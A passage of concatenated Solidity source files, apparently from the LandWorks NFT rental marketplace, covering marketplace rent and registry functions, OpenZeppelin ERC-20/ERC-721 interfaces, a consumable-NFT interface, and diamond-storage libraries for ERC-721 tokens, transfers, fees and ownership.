Withdraw(_assetId, owner); } /// @notice Rents an asset for a given period. /// Charges user for the rent upfront. Rent starts from the last rented timestamp /// or from the current timestamp of the transaction. /// @param _assetId The target asset /// @param _period The target rental period (in seconds) /// @param _maxRentStart The maximum rent start allowed for the given rent /// @param _paymentToken The current payment token for the asset /// @param _amount The target amount to be paid for the rent function rent( uint256 _assetId, uint256 _period, uint256 _maxRentStart, address _paymentToken, uint256 _amount ) external payable returns (uint256, bool) { (uint256 rentId, bool rentStartsNow) = LibRent.rent( LibRent.RentParams({ _assetId: _assetId, _period: _period, _maxRentStart: _maxRentStart, _paymentToken: _paymentToken, _amount: _amount }) ); return (rentId, rentStartsNow); } /// @notice Sets name for a given Metaverse. /// @param _metaverseId The target metaverse /// @param _name Name of the metaverse function setMetaverseName(uint256 _metaverseId, string memory _name) external { LibOwnership.enforceIsContractOwner(); LibMarketplace.setMetaverseName(_metaverseId, _name); emit SetMetaverseName(_metaverseId, _name); } /// @notice Sets Metaverse registry to a Metaverse /// @param _metaverseId The target metaverse /// @param _registry The registry to be set /// @param _status Whether the registry will be added/removed function setRegistry( uint256 _metaverseId, address _registry, bool _status ) external { require(_registry != address(0), "_registry must not be 0x0"); LibOwnership.enforceIsContractOwner(); LibMarketplace.setRegistry(_metaverseId, _registry, _status); emit SetRegistry(_metaverseId, _registry, _status); } /// @notice Gets the name of the Metaverse /// @param _metaverseId The target metaverse function metaverseName(uint256 _metaverseId) external view returns (string memory) { return LibMarketplace.metaverseName(_metaverseId); } /// @notice Get whether the registry is supported for a metaverse /// @param _metaverseId The target metaverse /// @param _registry The target registry function supportsRegistry(uint256 _metaverseId, address _registry) external view returns (bool) { return LibMarketplace.supportsRegistry(_metaverseId, _registry); } /// @notice Gets the total amount of registries for a metaverse /// @param _metaverseId The target metaverse function totalRegistries(uint256 _metaverseId) external view returns (uint256) { return LibMarketplace.totalRegistries(_metaverseId); } /// @notice Gets a metaverse registry at a given index /// @param _metaverseId The target metaverse /// @param _index The target index function registryAt(uint256 _metaverseId, uint256 _index) external view returns (address) { return LibMarketplace.registryAt(_metaverseId, _index); } /// @notice Gets all asset data for a specific asset /// @param _assetId The target asset function assetAt(uint256 _assetId) external view returns (LibMarketplace.Asset memory) { return LibMarketplace.assetAt(_assetId); } /// @notice Gets all data for a specific rent of an asset /// @param _assetId The taget asset /// @param _rentId The target rent function rentAt(uint256 _assetId, uint256 _rentId) external view returns (LibMarketplace.Rent memory) { return LibMarketplace.rentAt(_assetId, _rentId); } function clearConsumer(LibMarketplace.Asset memory asset) internal { address adapter = LibMetaverseConsumableAdapter .metaverseConsumableAdapterStorage() .consumableAdapters[asset.metaverseRegistry]; if (adapter != address(0)) { IERC721Consumable(adapter).changeConsumer( address(0), asset.metaverseAssetId ); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/utils/ERC721Holder.sol) pragma solidity ^0.8.0; import "../IERC721Receiver.sol"; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721Holder is IERC721Receiver { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; /// @title ERC-721 Consumer Role extension /// Note: the ERC-165 identifier for this interface is 0x953c8dfa interface IERC721Consumable { /// @notice Emitted when `owner` changes the `consumer` of an NFT /// The zero address for consumer indicates that there is no consumer address /// When a Transfer event emits, this also indicates that the consumer address /// for that NFT (if any) is set to none event ConsumerChanged( address indexed owner, address indexed consumer, uint256 indexed tokenId ); /// @notice Get the consumer address of an NFT /// @dev The zero address indicates that there is no consumer /// Throws if `_tokenId` is not a valid NFT /// @param _tokenId The NFT to get the consumer address for /// @return The consumer address for this NFT, or the zero address if there is none function consumerOf(uint256 _tokenId) external view returns (address); /// @notice Change or reaffirm the consumer address for an NFT /// @dev The zero address indicates there is no consumer address /// Throws unless `msg.sender` is the current NFT owner, an authorised /// operator of the current owner or approved address /// Throws if `_tokenId` is not valid NFT /// @param _consumer The new consumer of the NFT function changeConsumer(address _consumer, uint256 _tokenId) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "../libraries/marketplace/LibMarketplace.sol"; import "./IRentable.sol"; interface IMarketplaceFacet is IRentable { event List( uint256 _assetId, uint256 _metaverseId, address indexed _metaverseRegistry, uint256 indexed _metaverseAssetId, uint256 _minPeriod, uint256 _maxPeriod, uint256 _maxFutureTime, address indexed _paymentToken, uint256 _pricePerSecond ); event UpdateConditions( uint256 indexed _assetId, uint256 _minPeriod, uint256 _maxPeriod, uint256 _maxFutureTime, address indexed _paymentToken, uint256 _pricePerSecond ); event Delist(uint256 indexed _assetId, address indexed _caller); event Withdraw(uint256 indexed _assetId, address indexed _caller); event SetMetaverseName(uint256 indexed _metaverseId, string _name); event SetRegistry( uint256 indexed _metaverseId, address _registry, bool _status ); /// @notice Provides asset of the given metaverse registry for rental. /// Transfers and locks the provided metaverse asset to the contract. /// and mints an asset, representing the locked asset. /// @param _metaverseId The id of the metaverse /// @param _metaverseRegistry The registry of the metaverse /// @param _metaverseAssetId The id from the metaverse registry /// @param _minPeriod The minimum number of time (in seconds) the asset can be rented /// @param _maxPeriod The maximum number of time (in seconds) the asset can be rented /// @param _maxFutureTime The timestamp delta after which the protocol will not allow /// the asset to be rented at an any given moment. /// @param _paymentToken The token which will be accepted as a form of payment. /// Provide 0x0000000000000000000000000000000000000001 for ETH. /// @param _pricePerSecond The price for rental per second /// @return The newly created asset id. function list( uint256 _metaverseId, address _metaverseRegistry, uint256 _metaverseAssetId, uint256 _minPeriod, uint256 _maxPeriod, uint256 _maxFutureTime, address _paymentToken, uint256 _pricePerSecond ) external returns (uint256); /// @notice Updates the lending conditions for a given asset. /// Pays out any unclaimed rent to consumer if set, otherwise it is paid to the owner of the LandWorks NFT /// Updated conditions apply the next time the asset is rented. /// Does not affect previous and queued rents. /// If any of the old conditions do not want to be modified, the old ones must be provided. /// @param _assetId The target asset /// @param _minPeriod The minimum number in seconds the asset can be rented /// @param _maxPeriod The maximum number in seconds the asset can be rented /// @param _maxFutureTime The timestamp delta after which the protocol will not allow /// the asset to be rented at an any given moment. /// @param _paymentToken The token which will be accepted as a form of payment. /// Provide 0x0000000000000000000000000000000000000001 for ETH /// @param _pricePerSecond The price for rental per second function updateConditions( uint256 _assetId, uint256 _minPeriod, uint256 _maxPeriod, uint256 _maxFutureTime, address _paymentToken, uint256 _pricePerSecond ) external; /// @notice Delists the asset from the marketplace. /// If there are no active rents: /// Burns the asset and transfers the original metaverse asset represented by the asset to the asset owner. /// Pays out the current unclaimed rent fees to the asset owner. /// @param _assetId The target asset function delist(uint256 _assetId) external; /// @notice Withdraws the already delisted from marketplace asset. /// Burns the asset and transfers the original metaverse asset represented by the asset to the asset owner. /// Pays out any unclaimed rent to consumer if set, otherwise it is paid to the owner of the LandWorks NFT /// @param _assetId The target _assetId function withdraw(uint256 _assetId) external; /// @notice Rents an asset for a given period. /// Charges user for the rent upfront. Rent starts from the last rented timestamp /// or from the current timestamp of the transaction. /// @param _assetId The target asset /// @param _period The target rental period (in seconds) /// @param _maxRentStart The maximum rent start allowed for the given rent /// @param _paymentToken The current payment token for the asset /// @param _amount The target amount to be paid for the rent function rent( uint256 _assetId, uint256 _period, uint256 _maxRentStart, address _paymentToken, uint256 _amount ) external payable returns (uint256, bool); /// @notice Sets name for a given Metaverse. /// @param _metaverseId The target metaverse /// @param _name Name of the metaverse function setMetaverseName(uint256 _metaverseId, string memory _name) external; /// @notice Sets Metaverse registry to a Metaverse /// @param _metaverseId The target metaverse /// @param _registry The registry to be set /// @param _status Whether the registry will be added/removed function setRegistry( uint256 _metaverseId, address _registry, bool _status ) external; /// @notice Gets the name of the Metaverse /// @param _metaverseId The target metaverse function metaverseName(uint256 _metaverseId) external view returns (string memory); /// @notice Get whether the registry is supported for a metaverse /// @param _metaverseId The target metaverse /// @param _registry The target registry function supportsRegistry(uint256 _metaverseId, address _registry) external view returns (bool); /// @notice Gets the total amount of registries for a metaverse /// @param _metaverseId The target metaverse function totalRegistries(uint256 _metaverseId) external view returns (uint256); /// @notice Gets a metaverse registry at a given index /// @param _metaverseId The target metaverse /// @param _index The target index function registryAt(uint256 _metaverseId, uint256 _index) external view returns (address); /// @notice Gets all asset data for a specific asset /// @param _assetId The target asset function assetAt(uint256 _assetId) external view returns (LibMarketplace.Asset memory); /// @notice Gets all data for a specific rent of an asset /// @param _assetId The taget asset /// @param _rentId The target rent function rentAt(uint256 _assetId, uint256 _rentId) external view returns (LibMarketplace.Rent memory); } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; library LibERC721 { using Address for address; using Counters for Counters.Counter; bytes32 constant ERC721_STORAGE_POSITION = keccak256("com.enterdao.landworks.erc721"); struct ERC721Storage { bool initialized; // Token name string name; // Token symbol string symbol; // Token base URI string baseURI; // Tracks the total tokens minted. Counters.Counter totalMinted; // Mapping from token ID to owner address mapping(uint256 => address) owners; // Mapping owner address to token count mapping(address => uint256) balances; // Mapping from token ID to approved address mapping(uint256 => address) tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) operatorApprovals; // Mapping from tokenID to consumer mapping(uint256 => address) tokenConsumers; // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) allTokensIndex; } /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev See {IERC721Consumable-ConsumerChanged} */ event ConsumerChanged( address indexed owner, address indexed consumer, uint256 indexed tokenId ); /** * @dev Emiited when `baseURI` is set */ event SetBaseURI(string _baseURI); function erc721Storage() internal pure returns (ERC721Storage storage erc721) { bytes32 position = ERC721_STORAGE_POSITION; assembly { erc721.slot := position } } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal { transfer(from, to, tokenId); require( checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function exists(uint256 tokenId) internal view returns (bool) { return LibERC721.erc721Storage().owners[tokenId] != address(0); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) internal view returns (address) { address owner = erc721Storage().owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return erc721Storage().balances[owner]; } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) internal view returns (address) { require( exists(tokenId), "ERC721: approved query for nonexistent token" ); return erc721Storage().tokenApprovals[tokenId]; } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) internal view returns (bool) { return erc721Storage().operatorApprovals[owner][operator]; } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require( exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * Returns `tokenId`. * * Its `tokenId` will be automatically assigned (available on the emitted {IERC721-Transfer} event). * * See {xref-LibERC721-safeMint-address-uint256-}[`safeMint`] */ function safeMint(address to) internal returns (uint256) { ERC721Storage storage erc721 = erc721Storage(); uint256 tokenId = erc721.totalMinted.current(); erc721.totalMinted.increment(); safeMint(to, tokenId, ""); return tokenId; } /** * @dev Same as {xref-LibERC721-safeMint-address-uint256-}[`safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function safeMint( address to, uint256 tokenId, bytes memory _data ) internal { mint(to, tokenId); require( checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!exists(tokenId), "ERC721: token already minted"); beforeTokenTransfer(address(0), to, tokenId); ERC721Storage storage erc721 = erc721Storage(); erc721.balances[to] += 1; erc721.owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function burn(uint256 tokenId) internal { address owner = ownerOf(tokenId); beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals approve(address(0), tokenId); ERC721Storage storage erc721 = LibERC721.erc721Storage(); erc721.balances[owner] -= 1; delete erc721.owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function transfer( address from, address to, uint256 tokenId ) internal { require( ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner approve(address(0), tokenId); ERC721Storage storage erc721 = LibERC721.erc721Storage(); erc721.balances[from] -= 1; erc721.balances[to] += 1; erc721.owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function approve(address to, uint256 tokenId) internal { erc721Storage().tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Changes the consumer of `tokenId` to `consumer`. * * Emits a {ConsumerChanged} event. */ function changeConsumer( address owner, address consumer, uint256 tokenId ) internal { ERC721Storage storage erc721 = erc721Storage(); erc721.tokenConsumers[tokenId] = consumer; emit ConsumerChanged(owner, consumer, tokenId); } /** * @dev See {IERC721Consumable-consumerOf}. */ function consumerOf(uint256 tokenId) internal view returns (address) { require( exists(tokenId), "ERC721Consumer: consumer query for nonexistent token" ); return erc721Storage().tokenConsumers[tokenId]; } /** * @dev Returns whether `spender` is allowed to consume `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function isConsumerOf(address spender, uint256 tokenId) internal view returns (bool) { return spender == consumerOf(tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function beforeTokenTransfer( address from, address to, uint256 tokenId ) internal { if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } changeConsumer(from, address(0), tokenId); } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = balanceOf(to); ERC721Storage storage erc721 = LibERC721.erc721Storage(); erc721.ownedTokens[to][length] = tokenId; erc721.ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { ERC721Storage storage erc721 = LibERC721.erc721Storage(); erc721.allTokensIndex[tokenId] = erc721.allTokens.length; erc721.allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = balanceOf(from) - 1; ERC721Storage storage erc721 = LibERC721.erc721Storage(); uint256 tokenIndex = erc721.ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = erc721.ownedTokens[from][lastTokenIndex]; erc721.ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token erc721.ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete erc721.ownedTokensIndex[tokenId]; delete erc721.ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). ERC721Storage storage erc721 = LibERC721.erc721Storage(); uint256 lastTokenIndex = erc721.allTokens.length - 1; uint256 tokenIndex = erc721.allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = erc721.allTokens[lastTokenIndex]; erc721.allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token erc721.allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete erc721.allTokensIndex[tokenId]; erc721.allTokens.pop(); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) internal returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( msg.sender, from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /// @title LibTransfer /// @notice Contains helper methods for interacting with ETH, /// ERC-20 and ERC-721 transfers. Serves as a wrapper for all /// transfers. library LibTransfer { using SafeERC20 for IERC20; address constant ETHEREUM_PAYMENT_TOKEN = address(1); /// @notice Transfers tokens from contract to a recipient /// @dev If token is 0x0000000000000000000000000000000000000001, an ETH transfer is done /// @param _token The target token /// @param _recipient The recipient of the transfer /// @param _amount The amount of the transfer function safeTransfer( address _token, address _recipient, uint256 _amount ) internal { if (_token == ETHEREUM_PAYMENT_TOKEN) { payable(_recipient).transfer(_amount); } else { IERC20(_token).safeTransfer(_recipient, _amount); } } function safeTransferFrom( address _token, address _from, address _to, uint256 _amount ) internal { IERC20(_token).safeTransferFrom(_from, _to, _amount); } function erc721SafeTransferFrom( address _token, address _from, address _to, uint256 _tokenId ) internal { IERC721(_token).safeTransferFrom(_from, _to, _tokenId); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; library LibFee { using EnumerableSet for EnumerableSet.AddressSet; uint256 constant FEE_PRECISION = 100_000; bytes32 constant FEE_STORAGE_POSITION = keccak256("com.enterdao.landworks.fee"); event SetTokenPayment(address indexed _token, bool _status); event SetFee(address indexed _token, uint256 _fee); struct FeeStorage { // Supported tokens as a form of payment EnumerableSet.AddressSet tokenPayments; // Protocol fee percentages for tokens mapping(address => uint256) feePercentages; // Assets' rent fees mapping(uint256 => mapping(address => uint256)) assetRentFees; // Protocol fees for tokens mapping(address => uint256) protocolFees; } function feeStorage() internal pure returns (FeeStorage storage fs) { bytes32 position = FEE_STORAGE_POSITION; assembly { fs.slot := position } } function distributeFees( uint256 _assetId, address _token, uint256 _amount ) internal returns(uint256, uint256) { LibFee.FeeStorage storage fs = feeStorage(); uint256 protocolFee = (_amount * fs.feePercentages[_token]) / FEE_PRECISION; uint256 rentFee = _amount - protocolFee; fs.assetRentFees[_assetId][_token] += rentFee; fs.protocolFees[_token] += protocolFee; return (rentFee, protocolFee); } function clearAccumulatedRent(uint256 _assetId, address _token) internal returns (uint256) { LibFee.FeeStorage storage fs = feeStorage(); uint256 amount = fs.assetRentFees[_assetId][_token]; fs.assetRentFees[_assetId][_token] = 0; return amount; } function clearAccumulatedProtocolFee(address _token) internal returns (uint256) { LibFee.FeeStorage storage fs = feeStorage(); uint256 amount = fs.protocolFees[_token]; fs.protocolFees[_token] = 0; return amount; } function setFeePercentage(address _token, uint256 _feePercentage) internal { LibFee.FeeStorage storage fs = feeStorage(); require( _feePercentage < FEE_PRECISION, "_feePercentage exceeds or equal to feePrecision" ); fs.feePercentages[_token] = _feePercentage; emit SetFee(_token, _feePercentage); } function setTokenPayment(address _token, bool _status) internal { FeeStorage storage fs = feeStorage(); if (_status) { require(fs.tokenPayments.add(_token), "_token already added"); } else { require(fs.tokenPayments.remove(_token), "_token not found"); } emit SetTokenPayment(_token, _status); } function supportsTokenPayment(address _token) internal view returns (bool) { return feeStorage().tokenPayments.contains(_token); } function totalTokenPayments() internal view returns (uint256) { return feeStorage().tokenPayments.length(); } function tokenPaymentAt(uint256 _index) internal view returns (address) { return feeStorage().tokenPayments.at(_index); } function protocolFeeFor(address _token) internal view returns (uint256) { return feeStorage().protocolFees[_token]; } function assetRentFeesFor(uint256 _assetId, address _token) internal view returns (uint256) { return feeStorage().assetRentFees[_assetId][_token]; } function feePercentage(address _token) internal view returns (uint256) { return feeStorage().feePercentages[_token]; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "./LibDiamond.sol"; library LibOwnership { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function setContractOwner(address _newOwner) internal { LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); address previousOwner = ds.contractOwner; require(previousOwner != _newOwner, "Previous owner and new owner must be different"); ds.contractOwner = _newOwner; emit OwnershipTransferred(previousOwner, _newOwner); } function contractOwner() internal view returns (address contractOwner_) { contractOwner_ = LibDiamond.diamondStorage().contractOwner; } function enforceIsContractOwner() view internal { require(msg.sender == LibDiamond.diamondStorage().contractOwner, "Must be contract owner"); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; library LibMarketplace { using EnumerableSet for EnumerableSet.AddressSet; bytes32 constant MARKETPLACE_STORAGE_POSITION = keccak256("com.enterdao.landworks.marketplace"); enum 